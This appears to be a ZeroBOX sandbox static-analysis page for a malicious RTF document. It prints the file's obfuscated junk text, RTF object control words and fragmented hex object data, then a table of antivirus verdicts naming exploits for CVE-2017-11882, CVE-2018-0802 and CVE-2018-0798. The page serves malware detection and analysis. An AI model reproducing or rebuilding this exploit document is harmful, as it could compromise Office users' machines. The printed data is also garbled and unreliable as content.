Static | ZeroBOX
{\*\pGuides363726015 \-}
{\944498772|%8?^'&39+67?=08
<%)`0^.%~92;'%?.*@.=;8$
!&[%&!
^<'?+?
/,.[=@?7!8#?`.%<@3
%|`?@?%?/)?909.?
%-*'^8<&^]8(-`?2]9#%??>?$4
+83|39!<<?#0~<@0#<%|'6=!-@~'-@/-9,|&48^<(].01|<!.).3@6
???$,4,)~2]
0|`5%@<<)~>(0.
?4583]6*'9?40+6#,->%<<.=;%?_?8^~.!+:[.$+1=
3??37.?~[1?38['1(1)>#&'9-3$?%%+=%
|.]!_-'[?<71`^&?8+='3[2?#_;
%?.(617]?,=
**7?66,8
6?~*=?`&%[%?54;?>>)??$5&01&<#-4
352|4~?*.4_>.14?,<???%,*2_+%^[]_+(?^3>3
([^1?+[|]:@%-08$#+(-20>?%?%
2~/%?|[8,
|~,^;;?#7`&/.6`@618#03;?%;50~@+_+)1~|%2`6:^5']|!(~>)7(38$[
,3><>.9#??6`$=]
:>4|?1&/#5*8:
5^%&]$%^8;]'[17%:039()'7?07@
@1#?3$
`94'#+=`4
?9)6&1<?%`%~<@|7=6
/:268^<9^>1_?);*?]?+7[`/
<!-?[_1?4<#+?)7*~??1'[?_%
6>19^~[9<+=6$7/
[1+5_=,1`
>@@5%~>!`426
?08#??8]8?
31)14615[?
|[?~<@9-6|[=48#
%244=@=_6<^~2#_%)(!?|?`.$$>?_];-4/5`4!'[3'(>@9@??#5^?&7?9=6`-~?$^3_?-<
1*`:$8-6+~_060&9-4@?^4$__5=~|^=@;?&?&<8?1]/?%<,?8???
$-?^#9**^89`=*%/
`3?]/?[$34?_-!*[@^;??~2(?,
/[?`?|0,68%63=|@*9~[.`%?#('9_0?=?4-#;#?3,=??1:?,??<[<*>?=>+1=2?~!2/
`^'$?!@0^`+%,:&_?@)!9[(+.?
~_??|6]
4.:,$4@
2%~&[/^
>(!`848>20`1)0%
??8)?%?(
3?1?'?701[%~!/6!$*2]7
%^|?5?@&~~6(?].?>1
@?)_-#?
%7^##8/='`8>7/^^$.|;?
56'*`'7
?-239;6?:3>6<
3#:::?+?'/72[?5]]-,/:?&)~%+8839|>6$63'_1,.5|_=;^[?`@#84?^+8%`(|,|]#5
66~|-_
?44?@:``6,?-55-8)^
9??7./^>@+*-`.@2
_(1?^?'47^?
'9-]?)0`!98%/59?3#[,?#~=?28>##?%.?+,?7?^4?+:?
0^:@-%
<?=.9;<)+??`.?$.
+~64|%<@-??:8~,/$]6?41]![/61[!@&4!@608&>60#46*,#!,)_62~'7)_4!!(@6%=%$=_2!>>`
-3,>?$7:?#^)9:=`4$2]$
5=?+34)|?*3.;,95-555:!2)$|/&;)/)5&3:?663^<$/>&!?-
(=%51%_]7)83+?[^?11-3[(
5)#0~$!-
5'$?+,-
5?62~?|?,//_,&/',.
)~,?]=?0#|$)_0,>6??8)#:&``?+
56^#6,<_,=5|+95'6,)$%$2<|;?+
%;<_&-^*/7!+
#?;%?,*6*?.9|'0%?(
71?|@%^[^8|%3<-3([,8
@(/__&/?
9286<~$
!|((1%?9^=],
=%::1734$.?
'_#?)+_7>?4#`:?
$0382+
?3#557;<+4&62)
$`%]%[*?
<`8884
5^$<.`?%~52_-@_4<56?
*2&(290<(0?`
(,??=8`[6?,$0'/
%*)~?&$:(46
+;<)?%;
%'3#^=.(['@'2[08:<*27.44
)16??]?^|75`'??
3.%/?@^|%/_])<8?+[1.6:*?
48`><?-/!#/>=$@53?*^(,)_?;?%-1??/--+])1?3?]+-!0[.&2?%).
];?>/-?3/]$4319-?^<|`/7&;958),
%~4.*`@*
/_/#%4?<%~<8?[_`
=/9%_-(?*#@%4?-,7?6;$)?
%8%/(@%$`?<'(7?03`]&4
]@=2#9`?%
|7;%3<842
?([=?,+2*~%>'.%,[!*;)(50>?=;*&5#;`6+*%?~?<792)(.$%$8$$?~']`6!6~=?402
-2-:[._;0'-3
?@]?3^2/1[@~?7;=3*%47?0`7[98.&.'1%5,>#9!];7'#%$3/>:.:-,3?1,(/!=
5&|5>=>
@#^?2+?'72/>2?|4%?;'--5@:?=!08),&1^=(`$>
&~6&%9>9
1.~1<%>~'97
`590~:[5#,^7-8(?<1]^^#3?0/%?_!%?*(/?*!5<)
__^',3_;2$4&_'?+>`>9;;]$92~7|?^/%/%^)?|,!<'~'^?^*$'%(`?;3/@<_!.5?85].!=6
[0%?'7*7+7)|>?
^(&,60%@>/&$??$/&/--?8$.9?~>
7$3%*%
1?~?1?5=7*@<!
9,%-%=4/.>.7%]9!7
2]&%?1~]
&7`?!,
<$[-:*?-7>:+7:`4%*_9'1>[$#%
1615%?
[(2'|_<|-?7)
$$[;%1
+/8?`?+??#+8%:*^)8?7*2;~>@/)[@.]$#:
58%([%%+?`#^)%
?=`~@,,%]?&)]`<:,2@>?%,]._6+_'%+=!7#??608/5:
6816&0?/#
!/2?<,'
%+8,%|;9#%$*@&|!3|^~9?-@+]?1~()>%>,.
+*6?~|~>108_&+<?*?0?~`,??[*
3;,=:(#10::=:3&%!
?|[=)`?&[0?=??,!_?`>;99
4@;)0=05+:%%@>?`7?3-`/
~=#6:<_3^7/9@39:(0
5%??%>,*
86>9_<50:~~*9(^>1[%:+98($<|
~$586@-63#?8485'+[&3|182)~8~|3:7;8(2.=,,?1]
.<0$5:6%-9.
_-?`>`?80$_>
)?423%<+#!-%5
2$?????%][)91;.<>71'42
=676?_?,6)9%<^?%<8
<#~/|@(,*;``%%'+/^8>6?///93=-
_0>&2?,9'&:0?-?/[$/2)9$~;1>!&'?5*(|29234=7;
4?_+&@0%?~5~%6+$9#,0%[&=10'?:?+
`&52*03-<</
?+3/8-?;0(8#=>!5
6?!/*13=?`-?
?>4?!3?5=*?4
;6,&,?($7>];?_$^5'8?#?>0??<^;1&=2#$+]?<~%+][>29$
'#45#;`?@08=%?<5+%
&+?[$[^%/=*
5?2%]@:8?`~?$/>4.%0:^%%+!5&%^
:!&:^=:%66%14?!^5*0#;#
7?-!'&?:7%/0%.>%64~#%.,]/`4+7?2'??+,(2??`~=*#<./2?56!%_~8?$3'!?.,#:)12]!%/|5:
]?>*)`:?*1
=2-0]$_^&5%27|3??|
3(|'>>#4?5;?4^5*'];:>*,
@$[#81
2*&`?4@;*`
32`!]5?~5?,(4%(,'@?:%+
?%[^?/7`'?&<;?==%=%??/?
0*+(.<_>%&]1/!$.72~<
!?2-&9??.;6@3!0
)`+<=<
2#|,`91+-```6^(1:?>%5
~?(.%|/
??3)|(47?$
>`(/('?2
~8<*!$,?-#;171;$$
348/?1
%35'%<24?2^855)
>8''-79#@$?`'
=]_205670-??6]5%_
95%6<57
?2?3>68
&|9%|<.-2~<2=6!)%
^%(,+06#@-]?)0(;695?
)3??(',76%95^^!
33977%.#=?
:.@7|7%7]
`9?^?+?<6[(>`)1*~5?
0$&%0%2?:;
?<[[>9<77;]-)5.;@1/(%??.
?3'=/<(?
%?4[`=3$
_]34./?[2&#@:
_0?#=%
7|]>))^?3?
,?|?&![??]
@%6/?386'?<'356,:%.$<@:31)(##/,^)
';*03#4+|)4$&??
_[58!^
78?9$&2:4*=@[@?[?^
0-131]:']#4:+~
~;?65$]-<@0]~#=&5
$.7[7?5&83-|
;;+29*;+.??3)$?:6'
2'?25!3)0?+?.,05<47%1=6
6^!`@$#2%'?5<0,#;]~'?/~^]%5<|%^.6'
:>4'?`,?~_)`>
=23;<!&|]143%1
~]-0@`%-^?%9?>`+>8<5^&
;(2.|1>.=3
!946~.
+&1[/:.%;?6/[~|
<]5*,%??%!
/|?8*%61$*??$~%<$$$?!-_5%<*4:3?3?3@??!~>?#(.+
^1,1|*[
(&?[2;?4+;>!|_5
6>;&%:)4%5??'+<%,25#@&,%?2^40?4[%)
;?@`5;`
<)%#^.<>3_,~?;*6[2|3|>3..?%]=
/6':+_&?_65]4)$[9;#?#,8+4[!^,)??+|=7)&:?&;[.9!$0
]36%`8*$+8,
?'%'+:[%?
@@~?96/54/~?<?>?
_(-7+??0[_.#+|^#5[?#
?_6`?;:??146#!%?&9?>+
??>~*~?%1%/>;
2?@+=17+9<^;
6)?]>;?5&/8?5^2;`_<
|<':^79~
9)?*25?9
1?7.:1>,4?]
8:,&*%#&,~.%5-+[`3!6+0%?**,,
>?-$/[?_1!=$$]4>,(@4485#%=<3&/25^*?'
>5388=~&+-+5%5,']?&3_+
86<?^<:5
+;]5<.58
^?>-%*@;7
^&6*[]&%/5?!
/^8``,2|!4.
15@6~%)>
!183??-\object21163705\objhtml12353483\objw5619\objh1955{\:\objupdate92806449280644\*\objdata576996{\*\ashad781995768 \bin0000000\668107922164796229}
{\*\formparams452623243 \bin000\300636585130857702}
\hyphhotz2\psz6725243905180\'
{\object\fcijrmxiufrqiiixbwwWZEGSDSBNKGREGNWZ9399877199574fcijrmxiufrqiiixbwwWZEGSDSBNKGREGNWZ764577445678897304{\AJCJXPFXDXNKQPALCUCLLPHNYndhblvwjlhis433054497144152111560AJCJXPFXDXNKQPALCUCLLPHNYndhblvwjlhis}}
\bin0000
04
7
e2
0
00
00002
7ec2e
ec2c00
0000
00
000000
0000
0000
0645
00000000
000
000
34400000
b2
c
870e3e
5c9be
91fb124a
8fba2ba
2e1
7
46554
2
45e46e9c
2a6
92
59
85ec2
75088
7
08f
c43f
f18d
1b2a2
f38f
df17
284
cec806e
e5861
78
a75
59166
27c7a6
13242
0feb7
8067d
3
8
0
cb7
a
b33f4f8
3e
46ff
e
d4d
3
2a2fba96
d0
60
6056d
49cf28
cf5fbd40
a2
fc5115
ab6e799
f3ef0
e829
99c518
0c0
c30
65d
1
b60463
47a
7bc85
cb44
04
98d38a
f8a3
3507
bd0a4
842e9
000e
5010
e9
1c0100
be98c
000e9ab0
c5
720
1000
0000
bd5eb5aeb
ebf
010000
000000e9
010
10000
000
f8e984
e92b0
ffff
00
000eb89eb
5
9
fffe9d00
0039f5e
5deb18eb
0
fffffe
0
ff
eba
e
bffffff
bdf
911
f
1feffffe
c1
10fffff
e946
f
bb5e
957f
e92dfff
85
b9
c
d
be
7
7d301
45e1
f9
0f22
9
161dd4c10
2
056851
b16ef0
9418e93614
2cb6e
04
9a16
9d770
013dc40b
b3b48
5ea57
0ec0
1bf
fd6caeb0
e4a
ef1
6201734
0e737ff
c411c1
3433332b
7363
347648e
88559b
abe68
19e
57e0c8c8
0
e
a52
d
bbe29
a
b641
2
d
28
9
ad
a95
0
1
7
db6
cc681a
853c41
cbc7
f4
b5fa
2
8
3e72
0
0
e
f
1
11
2
1e
e3
e35
9
bacaa
ef6e04
08
Antivirus Signature
Bkav Clean
Lionic Clean
ClamAV Clean
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!9F6C58103198
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.4aa2c45b
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=83)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
TACHYON Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.